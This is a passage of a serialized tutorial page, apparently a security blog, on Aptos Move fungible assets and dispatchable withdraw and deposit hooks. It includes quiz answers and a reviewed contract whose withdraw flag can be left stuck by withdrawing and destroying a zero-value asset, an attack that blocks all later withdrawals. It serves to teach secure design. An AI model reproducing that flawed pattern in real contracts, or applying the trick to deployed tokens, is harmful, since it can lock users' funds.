drop",{"type":22,"tag":101,"props":4838,"children":4839},{"style":120},[4840],{"type":27,"value":758},{"type":22,"tag":101,"props":4842,"children":4843},{"style":126},[4844],{"type":27,"value":256},{"type":22,"tag":101,"props":4846,"children":4847},{"style":120},[4848],{"type":27,"value":154},{"type":22,"tag":101,"props":4850,"children":4851},{"class":103,"line":182},[4852,4857,4861,4865],{"type":22,"tag":101,"props":4853,"children":4854},{"style":108},[4855],{"type":27,"value":4856}," self",{"type":22,"tag":101,"props":4858,"children":4859},{"style":166},[4860],{"type":27,"value":169},{"type":22,"tag":101,"props":4862,"children":4863},{"style":126},[4864],{"type":27,"value":3540},{"type":22,"tag":101,"props":4866,"children":4867},{"style":120},[4868],{"type":27,"value":179},{"type":22,"tag":101,"props":4870,"children":4871},{"class":103,"line":367},[4872],{"type":22,"tag":101,"props":4873,"children":4874},{"style":120},[4875],{"type":27,"value":188},{"type":22,"tag":23,"props":4877,"children":4878},{},[4879,4881,4886],{"type":27,"value":4880},"While the fungible asset's ",{"type":22,"tag":30,"props":4882,"children":4884},{"className":4883},[],[4885],{"type":27,"value":4661},{"type":27,"value":4887}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":22,"tag":91,"props":4889,"children":4891},{"className":93,"code":4890,"language":95,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n metadata: Object\u003CMetadata>\n}\n",[4892],{"type":22,"tag":30,"props":4893,"children":4894},{"__ignoreMap":7},[4895,4903,4911,4942,4969],{"type":22,"tag":101,"props":4896,"children":4897},{"class":103,"line":104},[4898],{"type":22,"tag":101,"props":4899,"children":4900},{"style":2215},[4901],{"type":27,"value":4902},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":22,"tag":101,"props":4904,"children":4905},{"class":103,"line":157},[4906],{"type":22,"tag":101,"props":4907,"children":4908},{"style":2215},[4909],{"type":27,"value":4910},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":22,"tag":101,"props":4912,"children":4913},{"class":103,"line":182},[4914,4918,4922,4926,4930,4934,4938],{"type":22,"tag":101,"props":4915,"children":4916},{"style":108},[4917],{"type":27,"value":111},{"type":22,"tag":101,"props":4919,"children":4920},{"style":114},[4921],{"type":27,"value":4827},{"type":22,"tag":101,"props":4923,"children":4924},{"style":126},[4925],{"type":27,"value":1277},{"type":22,"tag":101,"props":4927,"children":4928},{"style":126},[4929],{"type":27,"value":4836},{"type":22,"tag":101,"props":4931,"children":4932},{"style":120},[4933],{"type":27,"value":758},{"type":22,"tag":101,"props":4935,"children":4936},{"style":126},[4937],{"type":27,"value":256},{"type":22,"tag":101,"props":4939,"children":4940},{"style":120},[4941],{"type":27,"value":154},{"type":22,"tag":101,"props":4943,"children":4944},{"class":103,"line":367},[4945,4949,4953,4957,4961,4965],{"type":22,"tag":101,"props":4946,"children":4947},{"style":126},[4948],{"type":27,"value":697},{"type":22,"tag":101,"props":4950,"children":4951},{"style":166},[4952],{"type":27,"value":169},{"type":22,"tag":101,"props":4954,"children":4955},{"style":114},[4956],{"type":27,"value":706},{"type":22,"tag":101,"props":4958,"children":4959},{"style":120},[4960],{"type":27,"value":123},{"type":22,"tag":101,"props":4962,"children":4963},{"style":114},[4964],{"type":27,"value":715},{"type":22,"tag":101,"props":4966,"children":4967},{"style":120},[4968],{"type":27,"value":527},{"type":22,"tag":101,"props":4970,"children":4971},{"class":103,"line":398},[4972],{"type":22,"tag":101,"props":4973,"children":4974},{"style":120},[4975],{"type":27,"value":188},{"type":22,"tag":23,"props":4977,"children":4978},{},[4979,4981,4987,4989,4995],{"type":27,"value":4980},"Additionally, there are fungible asset-specific references such as ",{"type":22,"tag":30,"props":4982,"children":4984},{"className":4983},[],[4985],{"type":27,"value":4986},"MintRef",{"type":27,"value":4988}," for minting and ",{"type":22,"tag":30,"props":4990,"children":4992},{"className":4991},[],[4993],{"type":27,"value":4994},"BurnRef",{"type":27,"value":4996}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":22,"tag":53,"props":4998,"children":5000},{"id":4999},"dispatchable-fungible-assets",[5001],{"type":27,"value":5002},"Dispatchable fungible assets",{"type":22,"tag":23,"props":5004,"children":5005},{},[5006],{"type":27,"value":5007},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":22,"tag":23,"props":5009,"children":5010},{},[5011],{"type":27,"value":5012},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":22,"tag":5014,"props":5015,"children":5016},"warning",{},[5017],{"type":22,"tag":23,"props":5018,"children":5019},{},[5020,5022,5028],{"type":27,"value":5021},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":22,"tag":30,"props":5023,"children":5025},{"className":5024},[],[5026],{"type":27,"value":5027},"transfer_assert_minimum_deposit",{"type":27,"value":5029}," that can help mitigate such risks.",{"type":22,"tag":23,"props":5031,"children":5032},{},[5033,5035,5040,5042,5049],{"type":27,"value":5034},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":22,"tag":30,"props":5036,"children":5038},{"className":5037},[],[5039],{"type":27,"value":821},{"type":27,"value":5041}," to ensure ",{"type":22,"tag":80,"props":5043,"children":5046},{"href":5044,"rel":5045},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[84],[5047],{"type":27,"value":5048},"their signature remains immutable",{"type":27,"value":5050},". An example implementation might look like this:",{"type":22,"tag":91,"props":5052,"children":5054},{"className":93,"code":5053,"language":95,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n store: Object\u003CT>,\n amount: u64,\n transfer_ref: &TransferRef,\n): FungibleAsset {\n //check paused, gather fees etc.\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n store: Object\u003CT>,\n fa: FungibleAsset,\n transfer_ref: &TransferRef,\n) {\n //check paused, gather fees etc.\n fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[5055],{"type":22,"tag":30,"props":5056,"children":5057},{"__ignoreMap":7},[5058,5094,5121,5140,5164,5183,5191,5237,5244,5251,5287,5314,5334,5357,5364,5371,5415],{"type":22,"tag":101,"props":5059,"children":5060},{"class":103,"line":104},[5061,5065,5069,5074,5078,5082,5086,5090],{"type":22,"tag":101,"props":5062,"children":5063},{"style":126},[5064],{"type":27,"value":821},{"type":22,"tag":101,"props":5066,"children":5067},{"style":126},[5068],{"type":27,"value":826},{"type":22,"tag":101,"props":5070,"children":5071},{"style":126},[5072],{"type":27,"value":5073}," withdraw_hook",{"type":22,"tag":101,"props":5075,"children":5076},{"style":120},[5077],{"type":27,"value":123},{"type":22,"tag":101,"props":5079,"children":5080},{"style":114},[5081],{"type":27,"value":840},{"type":22,"tag":101,"props":5083,"children":5084},{"style":166},[5085],{"type":27,"value":169},{"type":22,"tag":101,"props":5087,"children":5088},{"style":126},[5089],{"type":27,"value":310},{"type":22,"tag":101,"props":5091,"children":5092},{"style":120},[5093],{"type":27,"value":853},{"type":22,"tag":101,"props":5095,"children":5096},{"class":103,"line":157},[5097,5101,5105,5109,5113,5117],{"type":22,"tag":101,"props":5098,"children":5099},{"style":126},[5100],{"type":27,"value":2905},{"type":22,"tag":101,"props":5102,"children":5103},{"style":166},[5104],{"type":27,"value":169},{"type":22,"tag":101,"props":5106,"children":5107},{"style":114},[5108],{"type":27,"value":706},{"type":22,"tag":101,"props":5110,"children":5111},{"style":120},[5112],{"type":27,"value":123},{"type":22,"tag":101,"props":5114,"children":5115},{"style":114},[5116],{"type":27,"value":840},{"type":22,"tag":101,"props":5118,"children":5119},{"style":120},[5120],{"type":27,"value":343},{"type":22,"tag":101,"props":5122,"children":5123},{"class":103,"line":182},[5124,5128,5132,5136],{"type":22,"tag":101,"props":5125,"children":5126},{"style":126},[5127],{"type":27,"value":727},{"type":22,"tag":101,"props":5129,"children":5130},{"style":166},[5131],{"type":27,"value":169},{"type":22,"tag":101,"props":5133,"children":5134},{"style":114},[5135],{"type":27,"value":174},{"type":22,"tag":101,"props":5137,"children":5138},{"style":120},[5139],{"type":27,"value":179},{"type":22,"tag":101,"props":5141,"children":5142},{"class":103,"line":367},[5143,5148,5152,5156,5160],{"type":22,"tag":101,"props":5144,"children":5145},{"style":126},[5146],{"type":27,"value":5147}," transfer_ref",{"type":22,"tag":101,"props":5149,"children":5150},{"style":166},[5151],{"type":27,"value":169},{"type":22,"tag":101,"props":5153,"children":5154},{"style":166},[5155],{"type":27,"value":870},{"type":22,"tag":101,"props":5157,"children":5158},{"style":114},[5159],{"type":27,"value":4661},{"type":22,"tag":101,"props":5161,"children":5162},{"style":120},[5163],{"type":27,"value":179},{"type":22,"tag":101,"props":5165,"children":5166},{"class":103,"line":398},[5167,5171,5175,5179],{"type":22,"tag":101,"props":5168,"children":5169},{"style":120},[5170],{"type":27,"value":2261},{"type":22,"tag":101,"props":5172,"children":5173},{"style":166},[5174],{"type":27,"value":169},{"type":22,"tag":101,"props":5176,"children":5177},{"style":114},[5178],{"type":27,"value":685},{"type":22,"tag":101,"props":5180,"children":5181},{"style":120},[5182],{"type":27,"value":154},{"type":22,"tag":101,"props":5184,"children":5185},{"class":103,"line":428},[5186],{"type":22,"tag":101,"props":5187,"children":5188},{"style":2215},[5189],{"type":27,"value":5190}," //check paused, gather fees etc.\n",{"type":22,"tag":101,"props":5192,"children":5193},{"class":103,"line":997},[5194,5199,5203,5208,5212,5217,5221,5225,5229,5233],{"type":22,"tag":101,"props":5195,"children":5196},{"style":120},[5197],{"type":27,"value":5198}," fungible_asset",{"type":22,"tag":101,"props":5200,"children":5201},{"style":166},[5202],{"type":27,"value":970},{"type":22,"tag":101,"props":5204,"children":5205},{"style":926},[5206],{"type":27,"value":5207},"withdraw_with_ref",{"type":22,"tag":101,"props":5209,"children":5210},{"style":120},[5211],{"type":27,"value":980},{"type":22,"tag":101,"props":5213,"children":5214},{"style":126},[5215],{"type":27,"value":5216},"transfer_ref",{"type":22,"tag":101,"props":5218,"children":5219},{"style":120},[5220],{"type":27,"value":758},{"type":22,"tag":101,"props":5222,"children":5223},{"style":126},[5224],{"type":27,"value":256},{"type":22,"tag":101,"props":5226,"children":5227},{"style":120},[5228],{"type":27,"value":758},{"type":22,"tag":101,"props":5230,"children":5231},{"style":126},[5232],{"type":27,"value":975},{"type":22,"tag":101,"props":5234,"children":5235},{"style":120},[5236],{"type":27,"value":2510},{"type":22,"tag":101,"props":5238,"children":5239},{"class":103,"line":1032},[5240],{"type":22,"tag":101,"props":5241,"children":5242},{"style":120},[5243],{"type":27,"value":188},{"type":22,"tag":101,"props":5245,"children":5246},{"class":103,"line":1063},[5247],{"type":22,"tag":101,"props":5248,"children":5249},{"emptyLinePlaceholder":15},[5250],{"type":27,"value":1581},{"type":22,"tag":101,"props":5252,"children":5253},{"class":103,"line":1071},[5254,5258,5262,5267,5271,5275,5279,5283],{"type":22,"tag":101,"props":5255,"children":5256},{"style":126},[5257],{"type":27,"value":821},{"type":22,"tag":101,"props":5259,"children":5260},{"style":126},[5261],{"type":27,"value":826},{"type":22,"tag":101,"props":5263,"children":5264},{"style":126},[5265],{"type":27,"value":5266}," deposit_hook",{"type":22,"tag":101,"props":5268,"children":5269},{"style":120},[5270],{"type":27,"value":123},{"type":22,"tag":101,"props":5272,"children":5273},{"style":114},[5274],{"type":27,"value":840},{"type":22,"tag":101,"props":5276,"children":5277},{"style":166},[5278],{"type":27,"value":169},{"type":22,"tag":101,"props":5280,"children":5281},{"style":126},[5282],{"type":27,"value":310},{"type":22,"tag":101,"props":5284,"children":5285},{"style":120},[5286],{"type":27,"value":853},{"type":22,"tag":101,"props":5288,"children":5289},{"class":103,"line":1110},[5290,5294,5298,5302,5306,5310],{"type":22,"tag":101,"props":5291,"children":5292},{"style":126},[5293],{"type":27,"value":2905},{"type":22,"tag":101,"props":5295,"children":5296},{"style":166},[5297],{"type":27,"value":169},{"type":22,"tag":101,"props":5299,"children":5300},{"style":114},[5301],{"type":27,"value":706},{"type":22,"tag":101,"props":5303,"children":5304},{"style":120},[5305],{"type":27,"value":123},{"type":22,"tag":101,"props":5307,"children":5308},{"style":114},[5309],{"type":27,"value":840},{"type":22,"tag":101,"props":5311,"children":5312},{"style":120},[5313],{"type":27,"value":343},{"type":22,"tag":101,"props":5315,"children":5316},{"class":103,"line":1118},[5317,5322,5326,5330],{"type":22,"tag":101,"props":5318,"children":5319},{"style":126},[5320],{"type":27,"value":5321}," fa",{"type":22,"tag":101,"props":5323,"children":5324},{"style":166},[5325],{"type":27,"value":169},{"type":22,"tag":101,"props":5327,"children":5328},{"style":114},[5329],{"type":27,"value":685},{"type":22,"tag":101,"props":5331,"children":5332},{"style":120},[5333],{"type":27,"value":179},{"type":22,"tag":101,"props":5335,"children":5336},{"class":103,"line":1158},[5337,5341,5345,5349,5353],{"type":22,"tag":101,"props":5338,"children":5339},{"style":126},[5340],{"type":27,"value":5147},{"type":22,"tag":101,"props":5342,"children":5343},{"style":166},[5344],{"type":27,"value":169},{"type":22,"tag":101,"props":5346,"children":5347},{"style":166},[5348],{"type":27,"value":870},{"type":22,"tag":101,"props":5350,"children":5351},{"style":114},[5352],{"type":27,"value":4661},{"type":22,"tag":101,"props":5354,"children":5355},{"style":120},[5356],{"type":27,"value":179},{"type":22,"tag":101,"props":5358,"children":5359},{"class":103,"line":1166},[5360],{"type":22,"tag":101,"props":5361,"children":5362},{"style":120},[5363],{"type":27,"value":1463},{"type":22,"tag":101,"props":5365,"children":5366},{"class":103,"line":1215},[5367],{"type":22,"tag":101,"props":5368,"children":5369},{"style":2215},[5370],{"type":27,"value":5190},{"type":22,"tag":101,"props":5372,"children":5373},{"class":103,"line":2425},[5374,5378,5382,5387,5391,5395,5399,5403,5407,5411],{"type":22,"tag":101,"props":5375,"children":5376},{"style":120},[5377],{"type":27,"value":5198},{"type":22,"tag":101,"props":5379,"children":5380},{"style":166},[5381],{"type":27,"value":970},{"type":22,"tag":101,"props":5383,"children":5384},{"style":926},[5385],{"type":27,"value":5386},"deposit_with_ref",{"type":22,"tag":101,"props":5388,"children":5389},{"style":120},[5390],{"type":27,"value":980},{"type":22,"tag":101,"props":5392,"children":5393},{"style":126},[5394],{"type":27,"value":5216},{"type":22,"tag":101,"props":5396,"children":5397},{"style":120},[5398],{"type":27,"value":758},{"type":22,"tag":101,"props":5400,"children":5401},{"style":126},[5402],{"type":27,"value":256},{"type":22,"tag":101,"props":5404,"children":5405},{"style":120},[5406],{"type":27,"value":758},{"type":22,"tag":101,"props":5408,"children":5409},{"style":126},[5410],{"type":27,"value":884},{"type":22,"tag":101,"props":5412,"children":5413},{"style":120},[5414],{"type":27,"value":994},{"type":22,"tag":101,"props":5416,"children":5418},{"class":103,"line":5417},17,[5419],{"type":22,"tag":101,"props":5420,"children":5421},{"style":120},[5422],{"type":27,"value":188},{"type":22,"tag":5424,"props":5425,"children":5426},"question",{},[5427,5456],{"type":22,"tag":23,"props":5428,"children":5429},{},[5430,5432,5438,5440,5446,5448,5454],{"type":27,"value":5431},"Why hook functions rely on ",{"type":22,"tag":30,"props":5433,"children":5435},{"className":5434},[],[5436],{"type":27,"value":5437},"*_with_ref",{"type":27,"value":5439}," calls? What would happen if the hook function called ",{"type":22,"tag":30,"props":5441,"children":5443},{"className":5442},[],[5444],{"type":27,"value":5445},"dispatchable_fungible_asset::withdraw",{"type":27,"value":5447}," instead of a ",{"type":22,"tag":30,"props":5449,"children":5451},{"className":5450},[],[5452],{"type":27,"value":5453},"fungible_asset::withdraw_with_ref",{"type":27,"value":5455},"?",{"type":22,"tag":5457,"props":5458,"children":5459},"template",{"v-slot:answer-0":7},[5460,5472],{"type":22,"tag":23,"props":5461,"children":5462},{},[5463,5465,5470],{"type":27,"value":5464},"A1: Hook functions rely on ",{"type":22,"tag":30,"props":5466,"children":5468},{"className":5467},[],[5469],{"type":27,"value":5437},{"type":27,"value":5471}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":22,"tag":23,"props":5473,"children":5474},{},[5475,5477,5482],{"type":27,"value":5476},"A2: A ",{"type":22,"tag":30,"props":5478,"children":5480},{"className":5479},[],[5481],{"type":27,"value":5445},{"type":27,"value":5483}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":22,"tag":23,"props":5485,"children":5486},{},[5487],{"type":27,"value":5488},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":22,"tag":91,"props":5490,"children":5492},{"className":93,"code":5491,"language":95,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n assert_withdraw_flag(true);\n [...]\n set_withdraw_flag(false);\n fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n [...]\n }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n assert_withdraw_flag(false);\n [...]\n set_withdraw_flag(true);\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[5493],{"type":22,"tag":30,"props":5494,"children":5495},{"__ignoreMap":7},[5496,5592,5613,5628,5649,5692,5707,5714,5721,5842,5861,5876,5895,5938],{"type":22,"tag":101,"props":5497,"children":5498},{"class":103,"line":104},[5499,5503,5507,5511,5515,5519,5523,5527,5531,5535,5539,5543,5547,5551,5556,5560,5564,5568,5572,5576,5580,5584,5588],{"type":22,"tag":101,"props":5500,"children":5501},{"style":126},[5502],{"type":27,"value":821},{"type":22,"tag":101,"props":5504,"children":5505},{"style":126},[5506],{"type":27,"value":826},{"type":22,"tag":101,"props":5508,"children":5509},{"style":126},[5510],{"type":27,"value":831},{"type":22,"tag":101,"props":5512,"children":5513},{"style":120},[5514],{"type":27,"value":123},{"type":22,"tag":101,"props":5516,"children":5517},{"style":114},[5518],{"type":27,"value":840},{"type":22,"tag":101,"props":5520,"children":5521},{"style":166},[5522],{"type":27,"value":169},{"type":22,"tag":101,"props":5524,"children":5525},{"style":126},[5526],{"type":27,"value":310},{"type":22,"tag":101,"props":5528,"children":5529},{"style":120},[5530],{"type":27,"value":1618},{"type":22,"tag":101,"props":5532,"children":5533},{"style":126},[5534],{"type":27,"value":256},{"type":22,"tag":101,"props":5536,"children":5537},{"style":166},[5538],{"type":27,"value":169},{"type":22,"tag":101,"props":5540,"children":5541},{"style":114},[5542],{"type":27,"value":706},{"type":22,"tag":101,"props":5544,"children":5545},{"style":120},[5546],{"type":27,"value":123},{"type":22,"tag":101,"props":5548,"children":5549},{"style":114},[5550],{"type":27,"value":840},{"type":22,"tag":101,"props":5552,"children":5553},{"style":120},[5554],{"type":27,"value":5555},">, ",{"type":22,"tag":101,"props":5557,"children":5558},{"style":126},[5559],{"type":27,"value":884},{"type":22,"tag":101,"props":5561,"children":5562},{"style":166},[5563],{"type":27,"value":169},{"type":22,"tag":101,"props":5565,"children":5566},{"style":114},[5567],{"type":27,"value":685},{"type":22,"tag":101,"props":5569,"children":5570},{"style":120},[5571],{"type":27,"value":758},{"type":22,"tag":101,"props":5573,"children":5574},{"style":126},[5575],{"type":27,"value":5216},{"type":22,"tag":101,"props":5577,"children":5578},{"style":166},[5579],{"type":27,"value":169},{"type":22,"tag":101,"props":5581,"children":5582},{"style":166},[5583],{"type":27,"value":870},{"type":22,"tag":101,"props":5585,"children":5586},{"style":114},[5587],{"type":27,"value":4661},{"type":22,"tag":101,"props":5589,"children":5590},{"style":120},[5591],{"type":27,"value":1463},{"type":22,"tag":101,"props":5593,"children":5594},{"class":103,"line":157},[5595,5600,5604,5609],{"type":22,"tag":101,"props":5596,"children":5597},{"style":926},[5598],{"type":27,"value":5599}," assert_withdraw_flag",{"type":22,"tag":101,"props":5601,"children":5602},{"style":120},[5603],{"type":27,"value":980},{"type":22,"tag":101,"props":5605,"children":5606},{"style":108},[5607],{"type":27,"value":5608},"true",{"type":22,"tag":101,"props":5610,"children":5611},{"style":120},[5612],{"type":27,"value":994},{"type":22,"tag":101,"props":5614,"children":5615},{"class":103,"line":182},[5616,5620,5624],{"type":22,"tag":101,"props":5617,"children":5618},{"style":120},[5619],{"type":27,"value":1915},{"type":22,"tag":101,"props":5621,"children":5622},{"style":166},[5623],{"type":27,"value":614},{"type":22,"tag":101,"props":5625,"children":5626},{"style":120},[5627],{"type":27,"value":1884},{"type":22,"tag":101,"props":5629,"children":5630},{"class":103,"line":367},[5631,5636,5640,5645],{"type":22,"tag":101,"props":5632,"children":5633},{"style":926},[5634],{"type":27,"value":5635}," set_withdraw_flag",{"type":22,"tag":101,"props":5637,"children":5638},{"style":120},[5639],{"type":27,"value":980},{"type":22,"tag":101,"props":5641,"children":5642},{"style":108},[5643],{"type":27,"value":5644},"false",{"type":22,"tag":101,"props":5646,"children":5647},{"style":120},[5648],{"type":27,"value":994},{"type":22,"tag":101,"props":5650,"children":5651},{"class":103,"line":398},[5652,5656,5660,5664,5668,5672,5676,5680,5684,5688],{"type":22,"tag":101,"props":5653,"children":5654},{"style":120},[5655],{"type":27,"value":5198},{"type":22,"tag":101,"props":5657,"children":5658},{"style":166},[5659],{"type":27,"value":970},{"type":22,"tag":101,"props":5661,"children":5662},{"style":926},[5663],{"type":27,"value":5386},{"type":22,"tag":101,"props":5665,"children":5666},{"style":120},[5667],{"type":27,"value":980},{"type":22,"tag":101,"props":5669,"children":5670},{"style":126},[5671],{"type":27,"value":5216},{"type":22,"tag":101,"props":5673,"children":5674},{"style":120},[5675],{"type":27,"value":758},{"type":22,"tag":101,"props":5677,"children":5678},{"style":126},[5679],{"type":27,"value":256},{"type":22,"tag":101,"props":5681,"children":5682},{"style":120},[5683],{"type":27,"value":758},{"type":22,"tag":101,"props":5685,"children":5686},{"style":126},[5687],{"type":27,"value":975},{"type":22,"tag":101,"props":5689,"children":5690},{"style":120},[5691],{"type":27,"value":994},{"type":22,"tag":101,"props":5693,"children":5694},{"class":103,"line":428},[5695,5699,5703],{"type":22,"tag":101,"props":5696,"children":5697},{"style":120},[5698],{"type":27,"value":1915},{"type":22,"tag":101,"props":5700,"children":5701},{"style":166},[5702],{"type":27,"value":614},{"type":22,"tag":101,"props":5704,"children":5705},{"style":120},[5706],{"type":27,"value":1884},{"type":22,"tag":101,"props":5708,"children":5709},{"class":103,"line":997},[5710],{"type":22,"tag":101,"props":5711,"children":5712},{"style":120},[5713],{"type":27,"value":1734},{"type":22,"tag":101,"props":5715,"children":5716},{"class":103,"line":1032},[5717],{"type":22,"tag":101,"props":5718,"children":5719},{"emptyLinePlaceholder":15},[5720],{"type":27,"value":1581},{"type":22,"tag":101,"props":5722,"children":5723},{"class":103,"line":1063},[5724,5728,5732,5737,5741,5745,5749,5753,5757,5761,5765,5769,5773,5777,5781,5785,5789,5793,5797,5801,5805,5809,5813,5817,5821,5825,5830,5834,5838],{"type":22,"tag":101,"props":5725,"children":5726},{"style":126},[5727],{"type":27,"value":821},{"type":22,"tag":101,"props":5729,"children":5730},{"style":126},[5731],{"type":27,"value":826},{"type":22,"tag":101,"props":5733,"children":5734},{"style":126},[5735],{"type":27,"value":5736}," withdraw",{"type":22,"tag":101,"props":5738,"children":5739},{"style":120},[5740],{"type":27,"value":123},{"type":22,"tag":101,"props":5742,"children":5743},{"style":114},[5744],{"type":27,"value":840},{"type":22,"tag":101,"props":5746,"children":5747},{"style":166},[5748],{"type":27,"value":169},{"type":22,"tag":101,"props":5750,"children":5751},{"style":126},[5752],{"type":27,"value":310},{"type":22,"tag":101,"props":5754,"children":5755},{"style":120},[5756],{"type":27,"value":1618},{"type":22,"tag":101,"props":5758,"children":5759},{"style":126},[5760],{"type":27,"value":256},{"type":22,"tag":101,"props":5762,"children":5763},{"style":166},[5764],{"type":27,"value":169},{"type":22,"tag":101,"props":5766,"children":5767},{"style":114},[5768],{"type":27,"value":706},{"type":22,"tag":101,"props":5770,"children":5771},{"style":120},[5772],{"type":27,"value":123},{"type":22,"tag":101,"props":5774,"children":5775},{"style":114},[5776],{"type":27,"value":840},{"type":22,"tag":101,"props":5778,"children":5779},{"style":120},[5780],{"type":27,"value":5555},{"type":22,"tag":101,"props":5782,"children":5783},{"style":126},[5784],{"type":27,"value":975},{"type":22,"tag":101,"props":5786,"children":5787},{"style":166},[5788],{"type":27,"value":169},{"type":22,"tag":101,"props":5790,"children":5791},{"style":114},[5792],{"type":27,"value":174},{"type":22,"tag":101,"props":5794,"children":5795},{"style":120},[5796],{"type":27,"value":758},{"type":22,"tag":101,"props":5798,"children":5799},{"style":126},[5800],{"type":27,"value":5216},{"type":22,"tag":101,"props":5802,"children":5803},{"style":166},[5804],{"type":27,"value":169},{"type":22,"tag":101,"props":5806,"children":5807},{"style":166},[5808],{"type":27,"value":870},{"type":22,"tag":101,"props":5810,"children":5811},{"style":114},[5812],{"type":27,"value":4661},{"type":22,"tag":101,"props":5814,"children":5815},{"style":120},[5816],{"type":27,"value":2261},{"type":22,"tag":101,"props":5818,"children":5819},{"style":166},[5820],{"type":27,"value":169},{"type":22,"tag":101,"props":5822,"children":5823},{"style":114},[5824],{"type":27,"value":685},{"type":22,"tag":101,"props":5826,"children":5827},{"style":126},[5828],{"type":27,"value":5829}," acquires",{"type":22,"tag":101,"props":5831,"children":5832},{"style":120},[5833],{"type":27,"value":911},{"type":22,"tag":101,"props":5835,"children":5836},{"style":166},[5837],{"type":27,"value":614},{"type":22,"tag":101,"props":5839,"children":5840},{"style":120},[5841],{"type":27,"value":920},{"type":22,"tag":101,"props":5843,"children":5844},{"class":103,"line":1071},[5845,5849,5853,5857],{"type":22,"tag":101,"props":5846,"children":5847},{"style":926},[5848],{"type":27,"value":5599},{"type":22,"tag":101,"props":5850,"children":5851},{"style":120},[5852],{"type":27,"value":980},{"type":22,"tag":101,"props":5854,"children":5855},{"style":108},[5856],{"type":27,"value":5644},{"type":22,"tag":101,"props":5858,"children":5859},{"style":120},[5860],{"type":27,"value":994},{"type":22,"tag":101,"props":5862,"children":5863},{"class":103,"line":1110},[5864,5868,5872],{"type":22,"tag":101,"props":5865,"children":5866},{"style":120},[5867],{"type":27,"value":1915},{"type":22,"tag":101,"props":5869,"children":5870},{"style":166},[5871],{"type":27,"value":614},{"type":22,"tag":101,"props":5873,"children":5874},{"style":120},[5875],{"type":27,"value":1884},{"type":22,"tag":101,"props":5877,"children":5878},{"class":103,"line":1118},[5879,5883,5887,5891],{"type":22,"tag":101,"props":5880,"children":5881},{"style":926},[5882],{"type":27,"value":5635},{"type":22,"tag":101,"props":5884,"children":5885},{"style":120},[5886],{"type":27,"value":980},{"type":22,"tag":101,"props":5888,"children":5889},{"style":108},[5890],{"type":27,"value":5608},{"type":22,"tag":101,"props":5892,"children":5893},{"style":120},[5894],{"type":27,"value":994},{"type":22,"tag":101,"props":5896,"children":5897},{"class":103,"line":1158},[5898,5902,5906,5910,5914,5918,5922,5926,5930,5934],{"type":22,"tag":101,"props":5899,"children":5900},{"style":120},[5901],{"type":27,"value":5198},{"type":22,"tag":101,"props":5903,"children":5904},{"style":166},[5905],{"type":27,"value":970},{"type":22,"tag":101,"props":5907,"children":5908},{"style":926},[5909],{"type":27,"value":5207},{"type":22,"tag":101,"props":5911,"children":5912},{"style":120},[5913],{"type":27,"value":980},{"type":22,"tag":101,"props":5915,"children":5916},{"style":126},[5917],{"type":27,"value":5216},{"type":22,"tag":101,"props":5919,"children":5920},{"style":120},[5921],{"type":27,"value":758},{"type":22,"tag":101,"props":5923,"children":5924},{"style":126},[5925],{"type":27,"value":256},{"type":22,"tag":101,"props":5927,"children":5928},{"style":120},[5929],{"type":27,"value":758},{"type":22,"tag":101,"props":5931,"children":5932},{"style":126},[5933],{"type":27,"value":975},{"type":22,"tag":101,"props":5935,"children":5936},{"style":120},[5937],{"type":27,"value":2510},{"type":22,"tag":101,"props":5939,"children":5940},{"class":103,"line":1166},[5941],{"type":22,"tag":101,"props":5942,"children":5943},{"style":120},[5944],{"type":27,"value":188},{"type":22,"tag":23,"props":5946,"children":5947},{},[5948],{"type":27,"value":5949},"At first glance, this code appears valid, but not to an astute reader.",{"type":22,"tag":5424,"props":5951,"children":5952},{},[5953,5958],{"type":22,"tag":23,"props":5954,"children":5955},{},[5956],{"type":27,"value":5957},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":22,"tag":5457,"props":5959,"children":5960},{"v-slot:answer-0":7},[5961,5981],{"type":22,"tag":23,"props":5962,"children":5963},{},[5964,5966,5971,5973,5979],{"type":27,"value":5965},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":22,"tag":30,"props":5967,"children":5969},{"className":5968},[],[5970],{"type":27,"value":656},{"type":27,"value":5972}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":22,"tag":30,"props":5974,"children":5976},{"className":5975},[],[5977],{"type":27,"value":5978},"fungible_asset::destroy_zero",{"type":27,"value":5980},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":22,"tag":23,"props":5982,"children":5983},{},[5984],{"type":27,"value":5985},"It's important to understand all the features in the standard.",{"type":22,"tag":53,"props":5987,"children":5989},{"id":5988},"migrating-from-coins-to-fungible-assets",[5990],{"type":27,"value":5991},"Migrating from coins to fungible 